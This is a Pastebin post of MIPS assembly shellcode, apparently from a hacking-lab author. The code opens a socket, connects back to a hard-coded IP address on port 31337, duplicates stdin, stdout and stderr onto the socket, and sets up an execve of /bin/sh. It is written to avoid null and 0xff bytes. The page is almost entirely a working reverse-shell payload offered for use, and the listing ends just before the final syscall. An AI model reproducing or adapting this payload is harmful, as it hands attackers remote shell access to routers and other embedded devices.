hdarwin

mips_shellcode.s

Apr 27th, 2015
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # hdarwin @ hacklab
  2. # bad character : 00 ff
  3. # socket connect dup dup dup execve
  4. # new one -> http://pastebin.com/Y0q51810
  5. global main
  6. main:
  7.     li $t5, 0x5252
  8.     sub $a0, $t5, 0x5250
  9.     sub $a1, $t5, 0x5250
  10.     sub $a2, $t5, 0x5252
  11.     li $v0, 4183
  12.     syscall 0x42424
  13.  
  14.     add $a0, $v0, 0x4242
  15.     sub $a0, $a0, 0x4242
  16.     li $t5, 0x5252
  17.     sub $t5, 0x5250
  18.     sw $t5, 0x212($sp)
  19.  
  20.     #port 31337
  21.     lui $t6, 0x7a69
  22.     ori $t6, $t6, 0x7a69
  23.     sw $t6, 0x216($sp)  
  24.  
  25.     #ip 45.56.71.73
  26.     lui $t5, 0x2d38
  27.     ori $t5, $t5, 0x4749
  28.     sw $t5, 0x218($sp)
  29.  
  30.     addi $a1, $sp, 0x214
  31.     li $a2, 0x5250
  32.     sub $a2, 0x5240
  33.     li $v0, 4170
  34.     syscall 0x42424
  35.  
  36.     li $a0, 0x5055
  37.     sub $a0, 0x5050
  38.     li $a1, 0x5052
  39.     sub $a1, 0x5050
  40.     li $v0, 4063
  41.     syscall 0x42424
  42.     li $a1, 0x5051
  43.     sub $a1, 0x5050
  44.     li $v0, 4063
  45.     syscall 0x42424
  46.     li $a1, 0x5050
  47.     sub $a1, 0x5050
  48.     li $v0, 4063
  49.     syscall 0x42424
  50.  
  51.     lui $t7, 0x2f62
  52.     ori $t7, $t7, 0x696e
  53.     sw $t7, 304($sp)
  54.     lui $t7, 0x2f73
  55.     ori $t7, 0x6868
  56.     sw $t7, 308($sp)
  57.     sb $a1, 311($sp)
  58.     add $a0, $sp, 304
  59.     sw $a0, 404($sp)
  60.     add $a1, $sp, 404
  61.     li $a2, 0x5050
  62.     sub $a2, 0x5050
  63.     li $v0, 4011
Advertisement
Add Comment
Please, Sign In to add comment